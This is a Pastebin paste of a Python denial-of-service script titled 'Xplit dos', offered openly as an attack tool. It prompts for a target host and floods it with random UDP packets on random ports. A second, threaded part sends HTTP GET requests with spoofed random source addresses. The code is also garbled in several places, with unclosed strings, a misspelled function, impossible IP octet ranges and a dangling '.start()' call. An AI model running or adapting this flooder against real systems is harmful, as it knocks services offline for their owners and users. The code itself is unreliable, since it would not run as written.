Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import random
- import sys
- import time
- import os
- import http.client
- from random import randint
- import threading
- if sys.platform == "linux2":
- os.system("clear")
- elif sys.platform == "win32":
- os.system("cls")
- else:
- os.system("clear")
- print(" ____
- print(" __,-~~/~ `---.
- print(" _/_,---( , )
- print(" __ / < / ) \___
- print("- ------===;;;'====------------------===;;;===----- - -
- print(" \/ ~"~"~"~"~"~\~"~)~"/
- print(" (_ ( \ ( > \)
- print(" \_( _ < >_>'
- print(" ~ `-i' ::>|--"
- print(" I;|.|.|
- print(" <|i::|i|`.
- print(" (` ^'"`-' ")
- print(" .-~~-----------------------~~-.
- print(" | Xplit dos |
- target = raw_input("Insert target's IP/HOSTNAME!): ")
- print("---")
- package = input(" How much dynamite do you want to use? "package size" [ MAXIMIUM 65500]: ")
- print("---")
- duration = input("Set duration of attack (0 is infinite!!): ")
- durclock = (lambda:0, time.clock)[duration > 0]
- duration = (1, (durclock() + duration))[duration > 0]
- packet = random._urandom(package)
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- print("---")
- print("Bombing target on %s with %s bytes for %s seconds." % (target, package, duration))
- while True:
- if (durclock() < duration):
- port = random.randint(1, 65535)
- sock.sendto(packet, (target, port))
- else:
- break
- #
- randomize = True
- src = None
- dst = None
- port = None
- conn = None
- class Xplit(threading.Thread):
- global randomize, src, dst, port, conn
- def __init__(self):
- threading.Thread.__init__(self)
- def build_conn(_src, _dst, _port):
- return http.client.HTTPConnection(host = _dst, port = _port, timeout = 5, source_address = _src)
- def gen_ip():
- return '%i.%i.%i.%i' % (rand(), rand(), rand(), rand())
- def rand():
- return randit(1, 350)
- def run():
- conn = build_conn(gen_ip(), dst, port) if randomize else build_conn(src, dst, port)
- conn.request("GET /?" + str(randint(1,9991)) + " HTTP/1.1")
- def show_help(bin):
- print('usage:\t%s [<src_addr>] <dst_addr> <port>' % bin)
- def begin():
- while True:
- if threading.activeCount() <= 666:
- .start()
- if __name__ == '__main__':
- if len(sys.argv) == 4:
- src = sys.argv[1]
- dst = sys.argv[2]
- port = sys.argv[3]
- elif len(sys.argv) == 3:
- randomize = True
- dst = sys.argv[1]
- port = sys.argv[2]
- else:
- show_help(sys.argv[0])
- exit()
- print("---")
- print("The attack completed on %s for %s seconds." % (target, duration)")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement